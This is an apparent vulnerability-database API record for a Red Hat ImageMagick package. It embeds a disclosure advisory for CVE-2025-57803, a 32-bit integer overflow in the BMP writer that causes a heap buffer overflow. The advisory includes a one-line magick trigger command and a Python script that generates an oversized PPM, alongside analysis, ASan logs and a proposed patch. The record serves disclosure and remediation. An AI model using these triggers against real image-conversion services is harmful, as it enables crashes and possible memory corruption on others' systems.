Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/89272?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/89272?format=api", "purl": "pkg:rpm/redhat/ImageMagick@6.9.10.68-9?arch=el7_9", "type": "rpm", "namespace": "redhat", "name": "ImageMagick", "version": "6.9.10.68-9", "qualifiers": { "arch": "el7_9" }, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": null, "latest_non_vulnerable_version": null, "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/28988?format=api", "vulnerability_id": "VCID-f6pf-5jnz-fkd1", "summary": "ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow\n## Summary\n\nA 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.\n\n- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.\n \n- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.\n \n- **32-bit:** **Vulnerable** (reproduced with ASan).\n \n- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.\n \n- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n \n\n---\n\n## Scope & Affected Builds\n\n- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).\n \n- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`\n \n- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`\n \n- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.\n \n- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.\n \n\n---\n\n## Root Cause (with code anchors)\n\n### Stride computation (writer)\n\n```c\nbytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);\n```\n\n### Per-row base and 24-bpp loop (writer)\n\n```c\nq = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;\nfor (x = 0; x < (ssize_t)image->columns; x++) {\n *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes\n}\n```\n\n### Allocation (writer)\n\n```c\npixel_info = AcquireVirtualMemory(image->rows,\n MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n```\n\n### Dimension “caps” (insufficient)\n\nThe writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.\n\n---\n\n## Integer-Overflow Analysis (32-bit `size_t`)\n\nStride formula for 24-bpp:\n\n```\nbytes_per_line = 4 * ((width * 24 + 31) / 32)\n```\n\nThere are **two independent overflow hazards** on 32-bit:\n\n1. **Stage-1 multiply+add** in `(width * 24 + 31)` \n Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969` \n → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.\n \n2. **Stage-2 final ×4** after the division \n Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`. \n Solving gives **width ≥ 1,431,655,765 (0x55555555)**.\n \n\nBoth thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.\n\n**Mismatch predicate (guaranteed OOB when overflowed):** \nPer-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`. \nUnder either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**.\n\n---\n\n## Concrete Demonstration\n\nChosen width: **`W = 178,957,200`** (just over Stage-1 bound)\n\n- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**\n \n- Divide by 32: `5535 / 32 = 172`\n \n- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride\n \n- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`\n \n- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`\n \n- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.\n \n---\n\n## Observed Result (ASan excerpt)\n\n```\nERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 in WriteBMPImage coders/bmp.c:2309\n...\nallocated by:\n AcquireVirtualMemory MagickCore/memory.c:747\n WriteBMPImage coders/bmp.c:2092\n```\n\n- Binary: **ELF 32-bit i386**, Q8, non-HDRI\n \n- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)\n \n\n---\n\n## Exploitability & Risk\n\n- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.\n \n- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).\n \n- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).\n \n- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.\n \n\n**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.\n\n---\n\n## Reproduction (copy-paste triager script)\n\n**Test Environment:**\n\n- `docker run -it --rm --platform linux/386 debian:11 bash`\n \n- Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3`\n \n- Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`\n \n- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):\n\n```bash\n./configure \\\n --host=i686-pc-linux-gnu \\\n --build=x86_64-pc-linux-gnu \\\n --disable-dependency-tracking \\\n --disable-silent-rules \\\n --disable-shared \\\n --disable-openmp \\\n --disable-docs \\\n --without-x \\\n --without-perl \\\n --without-magick-plus-plus \\\n --without-lqr \\\n --without-zstd \\\n --without-tiff \\\n --with-quantum-depth=8 \\\n --disable-hdri \\\n CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j\"$(nproc)\"\n```\n- Runtime limits to exercise writer:\n\n```bash\nexport MAGICK_WIDTH_LIMIT=200000000\nexport MAGICK_HEIGHT_LIMIT=200000000\nexport MAGICK_TEMPORARY_PATH=/tmp\nexport TMPDIR=/tmp\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0\"\n```\n\n**One-liner trigger (no input file):**\n\n```bash\nW=178957200\n./utilities/magick \\\n -limit width 200000000 -limit height 200000000 \\\n -limit memory 268435456 -limit map 0 -limit disk 200000000000 \\\n -limit thread 1 \\\n -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null\n```\n\n**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).\n\n**Alternate PoC (raw PPM generator):**\n\n```python\n#!/usr/bin/env python3\nW, H, MAXV = 180_000_000, 1, 255 \n# W > 178,956,969\nwith open(\"huge.ppm\", \"wb\") as f:\n f.write(f\"P6\\n{W} {H}\\n{MAXV}\\n\".encode(\"ascii\"))\n chunk = (b\"\\x41\\x42\\x43\") * (1024*1024)\n remaining = 3 * W\n while remaining:\n n = min(remaining, len(chunk))\n f.write(chunk[:n]); remaining -= n\n# Then: magick huge.ppm out.bmp\n```\n\n---\n\n## Proposed Severity\n\n- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**\n \n- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**\n \n\n---\n\n## Maintainer Pushbacks — Pre-empted\n\n- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.\n \n- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.\n \n- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.\n \n---\n\n## Remediation (Summary)\n\nAdd checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.\n\nConcretely:\n\n- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.\n- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.\n- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.\n\nA full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).\n\n---\n\n## Regression Tests to Include (PR-friendly)\n\n1. **32-bit overflow repros** (with ASan):\n \n - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.\n \n - `rows=2`, same bound → no row overlap; clean error.\n \n2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.\n \n3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.\n\n---\n\n## Attachments (private BMP_Package) \nProvided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)\n\n---\n\n## Disclosure & Coordination\n\n- **Reporter:** Lumina Mescuwa\n \n- **Tested on:** i686 Linux container (details in Repro)\n \n- **Timeline:** August 19th, 2025\n \n\n---\n\n## Appendices\n\n### Appendix A — Patch block tailored to `bmp.c`\n\n**Where this hooks in (current code):**\n\n- Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);`\n \n- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);`\n \n- Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));`\n \n- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;`\n \n\n---\n\n## Suggested Patch (minimal surface, guards + invariant)\n\nI recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.\n\n```c\n/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */\n\n/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */\nif (bmp_info.bits_per_pixel == 0 ||\n (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nsize_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;\n/* Divide first; then check the final ×4 won't overflow. */\n_tmp /= 32;\nif (_tmp > (SIZE_MAX / 4))\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nbytes_per_line = 4 * _tmp; /* same formula as before, now checked */\n\n/* 2) Compute the actual data bytes written per row for the chosen bpp. */\nsize_t row_bytes;\nif (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {\n /* packed: ceil(width*bpp/8) */\n if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;\n} else {\n /* 16/24/32 bpp: (bpp/8) * width */\n size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;\n if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n row_bytes = bpp_bytes * (size_t)image->columns;\n}\n\n/* 3) Per-row safety invariant: the payload must fit the stride. */\nif (row_bytes > bytes_per_line)\n ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\n/* 4) Guard header size and allocation products. */\nif ((size_t)image->rows == 0)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\n/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */\nif (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\nbmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);\n\n/* Allocation count = rows * stride_used, with existing MagickMax policy. */\nsize_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);\nif (_stride > SIZE_MAX / (size_t)image->rows)\n ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\npixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));\nif (pixel_info == (MemoryInfo *) NULL)\n ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n\n/* Optional: keep zeroing aligned to computed header size. */\n(void) memset(pixels, 0, (size_t) bmp_info.image_size);\n\n/* --- PATCH END --- */\n```\n\n### Why this is the right spot?\n\n- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). \n \n- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. \n \n- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. \n \n- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. \n \n\n---\n\n## Notes\n\n- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. \n \n- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. \n \n- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.\n \n\nA slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.\n\n\n\n### Appendix B — Arithmetic Worked Example (W=178,957,200)\n\n- `(24W + 31) mod 2^32 = 5535`\n \n- `bytes_per_line = 4 * (5535/32) = 688`\n \n- `row_bytes (24-bpp) = 536,871,600`\n \n- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.\n \n\n### Appendix C — Raw ASan Log (trimmed)\n\n```\n=================================================================\n==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 at 0x6eaac490 thread T0\n #0 0xed2788 in WriteBMPImage coders/bmp.c:2309\n #1 0x13da32c in WriteImage MagickCore/constitute.c:1342\n #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564\n0x6eaac490 is located 0 bytes to the right of 178957456-byte region\nallocated by thread T0 here:\n #0 0x408e30ab in __interceptor_posix_memalign\n #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747\n #2 0xecd597 in WriteBMPImage coders/bmp.c:2092\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57803.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57803.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-57803", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24279", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24095", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24152", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24194", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24176", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24131", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24244", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24065", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24096", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00082", "scoring_system": "epss", "scoring_elements": "0.24108", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00089", "scoring_system": "epss", "scoring_elements": "0.2526", "published_at": "2026-04-21T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-57803" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57803", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57803" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-10-24T03:55:19Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-10-24T03:55:19Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-10-24T03:55:19Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57803", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57803" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1112469", "reference_id": "1112469", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1112469" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391093", "reference_id": "2391093", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391093" }, { "reference_url": "https://github.com/advisories/GHSA-mxvv-97wh-cfmm", "reference_id": "GHSA-mxvv-97wh-cfmm", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-mxvv-97wh-cfmm" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:16313", "reference_id": "RHSA-2025:16313", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:16313" }, { "reference_url": "https://usn.ubuntu.com/7812-1/", "reference_id": "USN-7812-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7812-1/" } ], "fixed_packages": [], "aliases": [ "CVE-2025-57803", "GHSA-mxvv-97wh-cfmm" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-f6pf-5jnz-fkd1" } ], "fixing_vulnerabilities": [], "risk_score": "4.0", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:rpm/redhat/ImageMagick@6.9.10.68-9%3Farch=el7_9" }